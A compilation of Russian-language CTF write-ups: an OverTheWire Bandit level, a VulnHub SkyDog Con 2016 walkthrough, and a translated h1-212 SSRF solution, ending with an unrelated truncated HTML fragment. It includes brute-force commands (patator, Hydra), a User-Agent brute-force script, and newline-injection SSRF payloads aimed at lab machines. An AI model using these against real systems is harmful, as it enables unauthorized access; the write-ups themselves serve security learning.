Как найти флаг в коде

Здраствуйте коллеги, искренне рад что вам понравились мои статьи. Извините за кривое изложение мной очень интересной темы, я только учусь излагать свои действия и мысли на цифровой бумаге. В общем хватит прелюдий продолжаем искать флаги.​

game.codeby.school

CTF-площадка Codeby Game

Площадка для специалистов в сфере информационной безопасности и программистов, которая содержит задания по кибербезопасности на захват флага (CTF)

game.codeby.school


game.codeby.school

Предыдущие мной написаны мной можно найти здесь, здесь и здесь
Переходим на

Ссылка скрыта от гостей

от нас требуется The password for the next level is stored in a hidden file in the inhere directory. Если на русском, нужный нам флаг хранится в скрытом файле в домашней директории inhere.
На сайте присутствует подсказка в виде команд, которые вам могут понадобиться для решения этой задачи ls, cd, cat, file, du, find

Запускаем ssh bandit.labs.overthewire.org port 2220
Логин bandit3 пароль флаг из level2

1.png

Мы на сервере, пишем команду для просмотра содержимого директории ls

1.jpg

Вводим команду pwdдля понимания директории где мы находимся
/home/bandit3

2.jpg

Наша задача перейти в директорию inhereпишем команду
cd /home/bandit3/inhere/

3.jpg

Нам по прежнему требуется найти скрытый файл пишем команду
ls -a
Необходимый нам скрытый файл имеет имя .hidden

4.jpg

Для его открытия используем команду cat .hidden

5.jpg

Отлично нам удалось найти флаг для прохождения level4 и подключения к bandit4​

До новых встреч!​

Время на прочтение
12 мин

Количество просмотров 7.4K

Продолжаем разбор лаб с VulnHub. На этот раз будем разбирать решение CTF с недавней конференции по информационной безопасности SkyDog Con.

Начнём

Скачиваем образ для VirtualBox, запускаем и как обычно смотрим вывод nmap`а:

sudo nmap 192.168.1.174 -sV -sC -p1-65535

Скрытый текст

Starting Nmap 7.01 ( nmap.org ) at 2016-12-18 19:39 MSK
Nmap scan report for 192.168.1.174
Host is up (0.00032s latency).
PORT STATE SERVICE VERSION
22/tcp closed ssh
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: SkyDog Con CTF 2016 — Catch Me If You Can
443/tcp open ssl/http Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: 400 Bad Request
| ssl-cert: Subject: commonName=Network Solutions EV Server CA 2/organizationName=Network Solutions L.L.C./stateOrProvinceName=VA/countryName=US
| Not valid before: 2016-09-21T14:51:57
|_Not valid after: 2017-09-21T14:51:57
|_ssl-date: TLS randomness does not represent time
22222/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 b6:64:7c:d1:55:46:4e:50:e3:ba:cf:4c:1e:81:f9:db (RSA)
|_ 256 ef:17:df:cc:db:2e:c5:24:e3:9e:25:16:3d:25:68:35 (ECDSA)
MAC Address: 08:00:27:D3:70:74 (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.10 — 4.1
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Нам доступны 3 порта SSH(22222), HTTP(80), HTTPS(443).

Flag#1 — «Don’t go Home Frank! There’s a Hex on Your House»

Судя из описания к первому флагу, нам нужно искать что-либо похожее на HEX последовательность.

Беглый осмотр сайта не дал результата, скан файлов и директорий тоже особо ситуацию не прояснил:

sudo dirsearch -u http://192.168.1.174 -e php,txt,json,bak,html -w /usr/share/dirb/wordlists/big.txt -r -f

Заглянув в код главной страницы видим следующее:

</div>
<!--[if IE 8]> <html lang="en" class="ie8"> <![endif]-->
<!--[if IE 9]> <html lang="en" class="ie9"> <![endif]-->
<!--[If IE4]><script src="/oldIE/html5.js"></script><![Make sure to remove this before going to PROD]-->
<!--[if !IE]><!-->
        <!-- Header -->

Хм, странно, зачем нужно удалить этот код перед публикацией. Загляну внутрь /oldIE/html5.js, находим ту самую HEX последовательность о которой говорилось в описании флага:

Декодируем, и получаем первый флаг: flag{7c0132070a0ef71d542663e9dc1f5dee}. Это md5 от nmap.

Flag#2 — «Obscurity or Security? That is the Question»

Dirsearch выдал нам 403 на странице /personnel. Пробуем её открыть, дабы узнать подробности, в ответ получаем единственное сообщение:

ACCESS DENIED!!! You Do Not Appear To Be Coming From An FBI Workstation. Preparing Interrogation Room 1. Car Batteries Charging….

Попробовав изменить User-Agent в запросе, получаем тот же результат. Nikto тут нам тоже не помог, как и надежда на то, что на https крутится другая версия сайта. Предположив, что в флаге 1 была подсказка, и снова взглянув на лог, вспоминаем про нестандартный ssh порт. Коннектимся туда от root:

ssh root@192.168.1.174 -p 22222

Находим второй флаг: Flag{53c82eba31f6d416f331de9162ebe997}, в котором хеш от encrypt

Flag#3 — «During his Travels Frank has Been Known to Intercept Traffic»

И так, речь идёт о перехвате трафика, предыдущий флаг, отсылает нас к шифрованию. Не трудно догадаться, что нужно заглянуть в дамп SSL трафика, который идёт при загрузке страницы.
Запускаем Wireshark, выставляем фильтр для отображения пакетов только с сайта:

ip.addr == 192.168.1.174

Переходим на 192.168.1.174, кликаем по ссылкам, что нам доступны, и далее переходим к просмотру трафика:

Флаг найден: flag3{f82366a9ddc064585d54e3f78bde3221}, это оказывается хеш от personnel

P.S. Как выяснилось позже, флаг можно было найти просто заглянув в браузере в свойства https сертификата:

Скрытый текст

Flag#4 — «A Good Agent is Hard to Find»

Из третьего флага и описания, следует что моё изначальное предположение о том, что для входа на страницу /personnel требуется верный User-Agent, оказалось верным.

Скачиваем список всех User-Agent`ов. Далее используя следующий скрипт на Python запускаем перебор.

import requests
import sys

url = 'http://192.168.1.174/personnel'
ua_file = sys.argv[1]
head = {'User-Agent':''}
bad_resp = 'ACCESS DENIED!!! You Do Not Appear To Be Coming From An FBI Workstation. Preparing Interrogation Room 1. Car Batteries Charging....'

file = open(ua_file, 'r').read().splitlines()
for item in file:
        head['User-Agent'] = item.strip()
        req = requests.get(url, headers=head)
        if req.text != bad_resp:
                print('Found UA: %s' %(item))
                print(req.text)

Результат не заставил себя долго ждать:

Список найденых User-Agent строк

Found UA: Mozilla/4.0 (compatible; MSIE 4.01; AOL 4.0; Windows 98)
Found UA: Mozilla/4.0 (compatible; MSIE 4.01; AOL 4.0; Windows 95)
Found UA: Mozilla/4.0 (compatible; MSIE 4.01; AOL 4.0; Mac_68K)
Found UA: Mozilla/4.0 PPC (compatible; MSIE 4.01; Windows CE; PPC; 240×320; Sprint:PPC-6700; PPC; 240×320)
Found UA: Mozilla/4.0 (compatible; MSIE 4.01; Windows NT)
Found UA: Mozilla/4.0 (compatible; MSIE 4.01; Windows NT 5.0)
Found UA: Mozilla/4.0 (compatible; MSIE 4.01; Windows CE; Sprint;PPC-i830; PPC; 240×320)
Found UA: Mozilla/4.0 (compatible; MSIE 4.01; Windows CE; Sprint; SCH-i830; PPC; 240×320)
Found UA: Mozilla/4.0 (compatible; MSIE 4.01; Windows CE; Sprint:SPH-ip830w; PPC; 240×320)
Found UA: Mozilla/4.0 (compatible; MSIE 4.01; Windows CE; Sprint:SPH-ip320; Smartphone; 176×220)
Found UA: Mozilla/4.0 (compatible; MSIE 4.01; Windows CE; Sprint:SCH-i830; PPC; 240×320)
Found UA: Mozilla/4.0 (compatible; MSIE 4.01; Windows CE; Sprint:SCH-i320; Smartphone; 176×220)
Found UA: Mozilla/4.0 (compatible; MSIE 4.01; Windows CE; Sprint:PPC-i830; PPC; 240×320)
Found UA: Mozilla/4.0 (compatible; MSIE 4.01; Windows CE; Smartphone; 176×220)
Found UA: Mozilla/4.0 (compatible; MSIE 4.01; Windows CE; PPC; 240×320; Sprint:PPC-6700; PPC; 240×320)
Found UA: Mozilla/4.0 (compatible; MSIE 4.01; Windows CE; PPC; 240×320; PPC)
Found UA: Mozilla/4.0 (compatible; MSIE 4.01; Windows CE; PPC)
Found UA: Mozilla/4.0 (compatible; MSIE 4.01; Windows CE)
Found UA: Mozilla/4.0 (compatible; MSIE 4.01; Windows 98; Hotbar 3.0)
Found UA: Mozilla/4.0 (compatible; MSIE 4.01; Windows 98; DigExt)
Found UA: Mozilla/4.0 (compatible; MSIE 4.01; Windows 98)
Found UA: Mozilla/4.0 (compatible; MSIE 4.01; Windows 95)
Found UA: Mozilla/4.0 (compatible; MSIE 4.01; Mac_PowerPC)
Found UA: Mozilla/4.0 WebTV/2.6 (compatible; MSIE 4.0)
Found UA: Mozilla/4.0 (compatible; MSIE 4.0; Windows NT)
Found UA: Mozilla/4.0 (compatible; MSIE 4.0; Windows 98 )
Found UA: Mozilla/4.0 (compatible; MSIE 4.0; Windows 95; .NET CLR 1.1.4322; .NET CLR 2.0.50727)
Found UA: Mozilla/4.0 (compatible; MSIE 4.0; Windows 95)
Found UA: Mozilla/4.0 (Compatible; MSIE 4.0)
Found UA: Mozilla/2.0 (compatible; MSIE 4.0; Windows 98)
Found UA: nuSearch Spider (compatible; MSIE 4.01; Windows NT)

Судя по всему ФБР пользуется только MSIE 4.0 :) После замены в браузере User-Agent и перехода по ссылке, попадаем на FBI Portal агента Hanratty, и в самом низу страницы видим очередной флаг:

md5online любезно сообщил что это хеш от evidence.

Flag#5 — «The Devil is in the Details — Or is it Dialogue? Either Way, if it’s Simple, Guessable, or Personal it Goes Against Best Practices»

Рядом с флагом, можем наблюдать ещё одну подсказку это newevidence. А из описания флага следует, что нужно искать детали.

В глаза сразу бросается разница между не отсортированным и отсортированным списками, а так же ещё несколько деталей, собрав всё в кучу получаем следующий список:

Manhattan
Heidelbery
Great American Masterpiece
Miami
July 16, 2009
617468
inconsequential
newevidence
Hanratty

После долгих поисков по этим ключевым словам, можно наткнуться на ссылку. Полистав её находим:

Agent Carl Hanratty — герой произведения
Catch Me If You Can — книга
Miami — сцена 17 фильма
Heidelberg — печатная машина из фильма

Продолжим, забив этот список в файл, и запустив перебор директорий и файлов находим кое-что интересное:

Отлично мы нашли форму авторизации! У нас есть пользователь: Carl Hanratty, из названия флага можно предположить, что пароль, это что-то простое — личная информация.

Приступим к перебору. Сгенерив словарь вероятных логинов запускаем patator, скармливаем ему набор словарей SecLists

for item in $(find SecLists/ -name "*.txt"); do sudo patator http_fuzz url=http://192.168.1.174/newevidence auth_type=basic accept_cookie=1 follow=1 -x ignore:code=401 header='User-Agent: Mozilla/4.0 (compatible; MSIE 4.01; Windows NT 5.0)' user_pass="FILE0:FILE1" 0=logins.txt 1=$item; done

И спустя некоторое время получаем исходную комбинацию:

INFO — 200 1462:676 0.011 | carl.hanratty:Grace | 37586 | HTTP/1.1 200 OK

P.S. Детального изучив фильм или книгу, становится понятно, что Грейс это дочь Карла.

После авторизации попадаем на страницу:

И перейдя по одной из ссылок находим флаг: flag{117c240d49f54096413dd64280399ea9}. После расшифровки, получаем слово: panam

Flag#6 — «Where in the World is Frank?»

«Где Фрэнк?» — хм… Вернувшись на сайт видим ссылку Possible Location, перейдя по которой, нам открывается картинка:

Скрытый текст

Картинка довольно объёмная, что наводит на мысль, о том что в ней тут есть что-то ещё

sudo binwalk image.jpg

В картинке у нас индексный файл MyISAM на 2Мб. В сети можно найти описание формата этого файла. Изучив его, понимаем, что индексы MySQL не могут содержать искомый нами флаг. Далее предположив, что мы имеем дело со стеганографией, посмотрим на вывод steghide.

После выполнения команды, у нас появляется запрос пароля.

steghide info image.jpg

Хм, интересно, пробуем ввести panam получаем такой вывод:

«image.jpg»:
format: jpeg
capacity: 230,1 KB
Try to get information about embedded data? (y/n) y
Enter passphrase:
embedded file «flag.txt»:
size: 71,0 Byte
encrypted: rijndael-128, cbc
compressed: yes

Извлекаем файл, в файле находим очередной флаг flag{d1e5146b171928731385eb7ea38c37b8} и новую подсказку: clue=iheartbrenda

Flag#7 — «Frank Was Caught on Camera Cashing Checks and Yelling — I’m The Fastest Man Alive!»

Загуглив описание флага, можно найти отсылку к сериалу FLASH, а заглянув на вики узнаём следующее:

Спойлер к фильму

Frank calls him, attempting to apologize for duping Carl. Carl rejects his apology and tells him he will soon be caught, but laughs when he realizes Frank actually called him because he has no one else to talk to. Frank hangs up, and Carl continues to investigate, suddenly realizing (thanks to a waiter) that the name «Barry Allen» is from the Flash comic books and that Frank is actually a teenager.

Frank, meanwhile, has expanded his con to include the identities of a doctor and lawyer. While playing Dr. Frank Conners, he falls in love with Brenda (Amy Adams).

Но что могут значить эти подсказки? Вспомнив про забытый в самом начале ssh. Всё сразу начало сходиться. У нас есть 2 фразы iheartbrenda и ILoveFrance, и несколько новых имён:

Генерим словарь

Даём на вход скрипту пары Имя Фамилия

Frank Conners
Barry Allen
Carl Hanratty

#!/bin/bash
import sys

def Usage():
	print('Usage: ./NtoL.py [namelist]')
	exit(0)

if len(sys.argv) <= 1: Usage()
nameList = open(sys.argv[1]).read().splitlines()
out = open(sys.argv[1], 'w')
for item in nameList:
	item = item.split(' ')
	out.write( '%s%sn' %(item[0], item[1]) )
	out.write( '%s.%sn' %(item[0], item[1]) )
	out.write( '%s%sn' %(item[0][0], item[1]) )
	out.write( '%s.%sn' %(item[0][0], item[1]) )
	out.write( ('%s%sn' %(item[0], item[1])).lower() )
	out.write( ('%s.%sn' %(item[0], item[1])).lower() )
	out.write( ('%s%sn' %(item[0][0], item[1])).lower() )
	out.write( ('%s.%sn' %(item[0][0], item[1])).lower() )
out.close()

На выходе получаем такой словарь логинов для перебора:

CarlHanratty
Carl.Hanratty
CHanratty
C.Hanratty
carlhanratty
carl.hanratty
chanratty
c.hanratty
BarryAllen
Barry.Allen
BAllen
B.Allen
barryallen
barry.allen
ballen
b.allen
FrankConners
Frank.Conners
FConners
F.Conners
frankconners
frank.conners
fconners
f.conners

Отправляем всё в Hydra и результат не заставляет себя долго ждать:

hydra -L logins.txt -P flag7pwd ssh://192.168.1.174 -s 22222

Входим, и сразу находим флаг:

После расшифровки флага получаем: theflash

Flag#8 — «Franks Lost His Mind or Maybe it’s His Memory. He’s Locked Himself Inside the Building. Find the Code to Unlock the Door Before He Gets Himself Killed!»

В той же директории, в которой мы нашли флаг, есть подозрительный файл: security-system.data
Скачиваем его себе, для дальнейшего анализа:

scp -P 22222 barryallen@192.168.1.174:~/security-system.data ./

И так перед нами архив, распаковываем его:

$ file security-system.data
security-system.data: Zip archive data, at least v2.0 to extract
$ 7z x -oSS security-system.data
$ cd ./SS
$ ls
security-system.data
$ file security-system.data
security-system.data: data

Формат не определился, зато размер 1Гб. Binwalk какой-либо вразумительной информации не дал, поэтому попробуем volatility:

volatility -f security-system.data imageinfo

Volatility Foundation Volatility Framework 2.5
INFO: volatility.debug: Determining profile based on KDBG search…
Suggested Profile(s): WinXPSP2x86, WinXPSP3x86 (Instantiated with WinXPSP2x86)
AS Layer1: IA32PagedMemoryPae (Kernel AS)
AS Layer2: FileAddressSpace (/CTF/VulnHub/SkyDog2016/SS/security-system.data)
PAE type: PAE
DTB: 0x33e000L
KDBG: 0x80545b60L
Number of Processors: 1
Image Type (Service Pack): 3
KPCR for CPU 0: 0xffdff000L
KUSER_SHARED_DATA: 0xffdf0000L
Image date and time: 2016-10-10 22:00:50 UTC+0000
Image local date and time: 2016-10-10 18:00:50 -0400

Отлично, перед нами дамп памяти ОС WinXP. Начнём извлекать из него полезную информацию, и начнём с модуля cmdline, так как он первый в списке, и наиболее интересен:

volatility -f security-system.data --profile=WinXPSP2x86 cmdline

cmdline

Volatility Foundation Volatility Framework 2.5
************************************************************************
System pid: 4
************************************************************************
smss.exe pid: 332
Command line: SystemRootSystem32smss.exe
************************************************************************
csrss.exe pid: 560
Command line: C:WINDOWSsystem32csrss.exe ObjectDirectory=Windows SharedSection=1024,3072,512 Windows=On SubSystemType=Windows ServerDll=basesrv,1 ServerDll=winsrv:UserServerDllInitialization,3 ServerDll=winsrv:ConServerDllInitialization,2 ProfileControl=Off MaxRequestThreads=16
************************************************************************
winlogon.exe pid: 588
Command line: winlogon.exe
************************************************************************
services.exe pid: 664
Command line: C:WINDOWSsystem32services.exe
************************************************************************
lsass.exe pid: 676
Command line: C:WINDOWSsystem32lsass.exe
************************************************************************
vmacthlp.exe pid: 848
Command line: «C:Program FilesVMwareVMware Toolsvmacthlp.exe»
************************************************************************
svchost.exe pid: 860
Command line: C:WINDOWSsystem32svchost -k DcomLaunch
************************************************************************
svchost.exe pid: 944
Command line: C:WINDOWSsystem32svchost -k rpcss
************************************************************************
svchost.exe pid: 1040
Command line: C:WINDOWSSystem32svchost.exe -k netsvcs
************************************************************************
svchost.exe pid: 1092
Command line: C:WINDOWSsystem32svchost.exe -k NetworkService
************************************************************************
svchost.exe pid: 1144
Command line: C:WINDOWSsystem32svchost.exe -k LocalService
************************************************************************
explorer.exe pid: 1540
Command line: C:WINDOWSExplorer.EXE
************************************************************************
spoolsv.exe pid: 1636
Command line: C:WINDOWSsystem32spoolsv.exe
************************************************************************
VGAuthService.e pid: 1900
Command line: «C:Program FilesVMwareVMware ToolsVMware VGAuthVGAuthService.exe»
************************************************************************
vmtoolsd.exe pid: 2012
Command line: «C:Program FilesVMwareVMware Toolsvmtoolsd.exe»
************************************************************************
wmiprvse.exe pid: 488
Command line: C:WINDOWSsystem32wbemwmiprvse.exe
************************************************************************
wscntfy.exe pid: 536
Command line: C:WINDOWSsystem32wscntfy.exe
************************************************************************
alg.exe pid: 624
Command line: C:WINDOWSSystem32alg.exe
************************************************************************
vmtoolsd.exe pid: 1352
Command line: «C:Program FilesVMwareVMware Toolsvmtoolsd.exe» -n vmusr
************************************************************************
ctfmon.exe pid: 1356
Command line: «C:WINDOWSsystem32ctfmon.exe»
************************************************************************
CCleaner.exe pid: 1388
Command line: «C:Program FilesCCleanerCCleaner.exe» /MONITOR
************************************************************************
cmd.exe pid: 1336
Command line: «C:WINDOWSsystem32cmd.exe»
************************************************************************
wuauclt.exe pid: 1884
Command line: «C:WINDOWSsystem32wuauclt.exe» /RunStoreAsComServer Local[410]SUSDS4ea33fbaffc4ad40bbd1dc3ac93ee5cb
************************************************************************
wuauclt.exe pid: 1024
Command line: «C:WINDOWSsystem32wuauclt.exe»
************************************************************************
notepad.exe pid: 268
Command line: «C:WINDOWSsystem32NOTEPAD.EXE» C:Documents and SettingstestDesktopcode.txt
************************************************************************
cmd.exe pid: 1276

Последним редактировался файл code.txt. Запустив следующий модуль cmdscan, находим ещё одну интересную запись:

volatility -f security-system.data --profile=WinXPSP2x86 cmdscan

cmdscan

Volatility Foundation Volatility Framework 2.5
**************************************************
CommandProcess: csrss.exe Pid: 560
CommandHistory: 0x10186f8 Application: cmd.exe Flags: Allocated, Reset
CommandCount: 2 LastAdded: 1 LastDisplayed: 1
FirstCommand: 0 CommandCountMax: 50
ProcessHandle: 0x2d4
Cmd #0 @ 0x1024400: cd Desktop
Cmd #1 @ 0x4f2660: echo 66 6c 61 67 7b 38 34 31 64 64 33 64 62 32 39 62 30 66 62 62 64 38 39 63 37 62 35 62 65 37 36 38 63 64 63 38 31 7d > code.txt

После декодирования этой HEX последовательности, например тут, получаем последний флаг:
flag{841dd3db29b0fbbd89c7b5be768cdc81}, в котором захеширована фраза: Two[space]little[space]mice

Выполнив команду:

volatility -f security-system.data --profile=WinXPSP2x86 notepad

Можно получить дамп текста из notepad, и убедиться что это именно нужный нам флаг:

notepad

Volatility Foundation Volatility Framework 2.5
Process: 268
Text:
?

Text:
d

Text:

Text:
?

Text:
66 6c 61 67 7b 38 34 31 64 64 33 64 62 32 39 62 30 66 62 62 64 38 39 63 37 62 35 62 65 37 36 38 63 64 63 38 31 7d

CTF Пройден!

CTF (capture the flag или захват флага) — это командные соревнования по информационной безопасности и системному администрированию, проходящие в двух форматах.

В формате task-based (или jeopardy) игрокам предоставляется набор тасков (заданий), к которым требуется найти ответ и отправить его. За верно решённый таск команда получает определённое количество очков.

Другой формат CTF-соревнования — classic (либо attack-defense). Каждая команда получает выделенный сервер или небольшую сеть для поддержания её функционирования и защиты. Во время игры команды зарабатывают очки за корректную работу сервисов своего сервера и за украденную информацию (она же — «флаги») с серверов соперников.

Таски в jeopardy бывают разных категорий, от криптографии до веба, но все они основаны на поиске флагов, которые чаще всего представлены строкой, начинающейся со слова flag. Флаг обычно хорошо спрятан, и нужно немало потрудиться, чтобы его найти.

В этой статье мы обсудим следующий таск:

Инженер сайта acme.org запустил новый сервер для панели администратора по адресу http://104.236.20.43/. Он абсолютно уверен, что сервер невозможно взломать, кроме того, когда считывается файл с флагом, ему приходит уведомление. Он отметил, что используется стандартная страница Apache, но она была оставлена намеренно и не доставит проблем.

Ваша цель? Прочитайте флаг!

Анализ веб-сервера

Прим. перев. Идёт разбор таска с h1-212 CTF 2017 года, поэтому ссылки уже не работают. Но если есть желание, можете развернуть сервер самостоятельно, взяв исходники отсюда.

Если взглянуть на веб-сервер, то можно заметить, что на адресе 104.236.20.43 крутится стартовая страница Apache. Исходя из этого мы точно знаем, что используется Apache и что флаг может находиться в одной из его директорий. Тогда самым логичным шагом будет проверить адрес 104.236.20.43/flag. Там лежит фальшивый флаг, который может пригодиться позже, так как разработчики тасков иногда оставляют своего рода подсказки, необходимые для дальнейшего решения.

Затем мы проверяем сайт acme.org, но это ни к чему не приводит.

Стоит упомянуть принцип работы виртуального хостинга: он проверяет значение заголовка host в HTTP-запросе, т. е. сопоставляется имя хоста с соответствующим сервером. При этом имя хоста у нас уже есть — acme.org.

Следующим шагом нужно найти панель администратора. В первую очередь стоит попробовать отослать запрос с именем хоста admin.acme.org, но сделав это, мы получаем пустую страницу. Альтернативный способ решения проблемы — отредактировать свой /etc/hosts, добавив в него 104.236.20.43 admin.acme.org. Таким образом, когда мы будем пытаться посетить admin.acme.org, сервер перенаправит нас на правильную страницу.

Исследование ошибочных конфигураций и их исправление

Верно настроив виртуальный хостинг и посетив нужный нам сайт, мы обнаружили пустую страницу и получили куки admin=no.

Самым очевидным следующим шагом будет подмена параметра admin у куки на yes, но в ответ мы получаем HTTP 405, т. е. метод не разрешён. Значит, нам нужно найти верный HTTP-глагол и послать его серверу.

HTTP-глагол или метод HTTP используется для указания действия, которое нужно совершить веб-серверу. При посещении сайта мы в первую очередь отправили самый распространённый запрос GET. Чтобы изменить запрос или используемый метод, можно использовать либо Burp Suite Repeater, либо cURL. В первую очередь попробуем самый очевидный запрос — POST.

В ответ на запрос придёт другая ошибка — HTTP 406 Not Acceptable («неприемлемо»). Это означает, что тип контента, который мы отослали, не принимается сервером. В Burp мы можем задать тип контента, добавив content-type: example/example к нашему запросу, а затем менять example/example на разные значения, пока не получим положительный ответ.

Немного погуглив разные типы контента (application/html, text/xml и т. д.), можно найти подходящий — application/json. На такой запрос мы получим следующий ответ сервера: {“error”:{“body”:”unable to decode”}} с ошибкой HTTP 418.

Использование уязвимостей

Наконец-то мы можем послать данные серверу. Чтобы понять, что именно нужно отправить, для начала попробуем запрос с данными {“test”:”test”}, на который сервер ответит следующим образом: {“error”:{“domain”:”required”}}.

Мы сдвинулись с мёртвой точки. Теперь мы знаем, что нужно отослать веб-адрес в параметре domain. Для начала попробуем отослать имя хоста acme.org — {“domain”:”admin.acme.org” }. В ответ получим следующее: {“error”:{“domain”:”incorrect value, .com domain expected”}}.

Сейчас можно попробовать сменить домен верхнего уровня на .com. В ответ на новый запрос мы получим следующее: {“error”:{“domain”:”incorrect value, sub domain should contain 212"}}.

Мы можем сменить admin на 212.acme.com, и наконец-то получим в ответ {“next”:”/read.php?id=307"}.

Откроем новую страницу сайта, введя её полный адрес admin.acme.org/read.php?id=307. В ответе мы увидим {“data”:““}.


Это указывает на то, что если мы подберём правильное значение поддомена, то сможем получить другой ответ от сервера. Перейдём на google.com и попытаемся найти обманку для сайта по маске 212.*.com. Для этого в строке поиска введём site:212.*.com. Появится несколько вариантов, из которых в итоге был использован 212.njzhuoding.com. Отправляем запрос на адрес admin.acme.org и в ответ получаем: {“next”:”/read.php?id=308"}.


Посетив новую PHP-страницу, обнаружим закодированный в Base64 ответ, расшифровав который получим HTML-код. Это означает, что, во-первых, эта конечная точка запрашивает информацию у сервера, а затем кодирует всё в Base64 перед тем, как разместить её на веб-странице admin.acme.org. Во-вторых, у нас есть возможность использовать SSRF-уязвимость. В-третьих, нам нужно обойти требования к поддомену и к домену высокого уровня .com, если мы хотим использовать эту конечную точку для получения флага.

SSRF (server side request forgery) — это эксплойт, с помощью которого можно заставить уязвимое приложение сделать запрос на предоставленный URL. Так можно получить доступ к внутренним службам или данным, недоступным для обычного пользователя.

Для начала нужно найти способ обойти требования к поддомену и домену высокого уровня. Одним из способов будет использование символов перевода или разрыва строки (CRLF — carriage return line feed), чтобы в запросе было несколько строк. Это позволит удовлетворить требованиям и заставит сервер обрабатывать каждую строку запроса в отдельности.

CRFL-символы используются для обозначения конца строки. Так как сервер использует дистрибутив Linux, мы можем просто использовать LF или n для создания новой строки.

Пример такого запроса: 212.nacme.orgn.com. Сервер это расшифрует следующим образом: сначала он отправит запрос на поддомен 212, затем запрос на acme.org, а затем на домен верхнего уровня .com. Важно отметить, что каждый запрос заставляет id-номер увеличиваться на единицу. Запрос, упомянутый ранее, сформирует три новых id, по одному на каждый запрос. Если мы пошлём запрос {“domain”:”212.nacme.orgn.com”}, то в ответ получим {“next”:”/read.php?id=311"}.

Чтобы увидеть ответ от acme.org, нам нужно вычесть единицу из id-номера id=310. Посетив эту страницу, мы обнаружим, что она закодирована Base64, как и ожидалось. Сейчас мы можем перейти к более лёгкой части таска — использованию SSRF.

Использование SSRF и получение флага

Так как теперь нам не нужно беспокоиться о требованиях к домену верхнего уровня или поддомену, можно попробовать обратиться к локальному хосту по порту 80, например, вот так: {“domain”:”212.nlocalhost:80n.com”}.

Декодировав ответ из Base64, мы, как и ожидалось, получим дефолтную страницу Apache. Более того, это подтверждает, что мы получили доступ к локальному окружению. Возможно, флаг находится на том же месте, что и фальшивый флаг, но на внутреннем порту. В первую очередь стоит попробовать распространённые порты, такие как 8443, 8080, 443 и 22.

Для проверки портов будем использовать тот же формат, что и для 80-го порта. В расшифрованном ответе с 22-го порта получаем версии SSH и OS, а также сообщение о несовпадающих протоколах. Все порты, кроме 22-го и 80-го, приводят к ответу 404, значит, скорее всего, используется какой-то нестандартный порт. Учитывая, что это CTF-соревнования, есть смысл попробовать 1337 порт, так как это хорошо известный хакерский лексикон (1337 означает «элита»). Попробовав его, получаем следующий ответ: {“data”:”SG1tLCB3aGVyZSB3b3VsZCBpdCBiZT8K”}.


Это расшифровывается как «Hmm, where would it be?» («Хммм, где же он может быть?»). Мы уже близко, давайте попробуем localhost:1337/flag, так как об этом была подсказка ранее.



Это даст нам следующее:

{“data”:”RkxBRzogQ0YsMmRzVlwvXWZSQVlRLlRERXBgdyJNKCVtVTtwOSs5RkR7WjQ4WCpKdHR7JXZTKCRnN1xTKTpmJT1QW1lAbmthPTx0cWhuRjxhcT1LNTpCQ0BTYip7WyV6IitAeVBiL25mRm5hPGUkaHZ7cDhyMlt2TU1GNTJ5OnovRGg7ezYK”}

Декодировав сообщение, получаем наш флаг:

FLAG: CF,2dsV/]fRAYQ.TDEp`w”M(%mU;p9+9FD{Z48X*Jtt{%vS($g7S):f%=P[Y@nka=<tqhnF<aq=K5:BC@Sb*{[%z”+@yPb/nfFna<e$hv{p8r2[vMMF52y:z/Dh;{6

Мы получили флаг и успешно решили таск. Ещё можно было найти порт, просканировав все порты и проверив их ответы. Это было бы долго и довольно утомительно, но вполне реально с помощью Burp Intruder.

CTF-соревнования иногда содержат преднамеренные подсказки для участников, что может значительно облегчить поиск флагов. В целом этот таск был достаточно прямолинеен и не требовал каких-то специальных знаний об уязвимостях веб-приложений.

Если вам после этого райтапа захотелось попробовать свои силы в CTF, то список площадок с тасками можно найти здесь.

Перевод статьи «H1–212 Capture the Flag Write up»

Варвара Николаева

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
<!DOCTYPE html>
<html lang="en">
 
<head>
    <meta charset="utf-8">
    <title>Ez ez </title>
    <meta content="width=device-width, initial-scale=1.0" name="viewport">
    <meta content="" name="keywords">
    <meta content="" name="description">
 
    <!-- Favicons -->
    <link href="img/favicon.ico" rel="icon">
    <link href="img/favicon-32x32.png" rel="apple-touch-icon">
 
    <!-- Bootstrap CSS File -->
    <link href="lib/bootstrap/css/bootstrap.min.css" rel="stylesheet">
 
    <!-- Libraries CSS Files -->
    <link href="lib/font-awesome/css/font-awesome.min.css" rel="stylesheet">
    <link href="lib/animate/animate.min.css" rel="stylesheet">
    <link href="lib/ionicons/css/ionicons.min.css" rel="stylesheet">
    <link href="lib/owlcarousel/assets/owl.carousel.min.css" rel="stylesheet">
    <link href="lib/lightbox/css/lightbox.min.css" rel="stylesheet">
 
    <!-- Main Stylesheet File -->
    <link href="css/style.css" rel="stylesheet">
</head>
 
<body id="page-top">
 
    <!--/ Nav Star /-->
    <nav class="navbar navbar-b navbar-trans navbar-expand-md fixed-top" id="mainNav">
        <div class="container">
            <a class="navbar-brand js-scroll" href="#page-top">Ez brah</a>
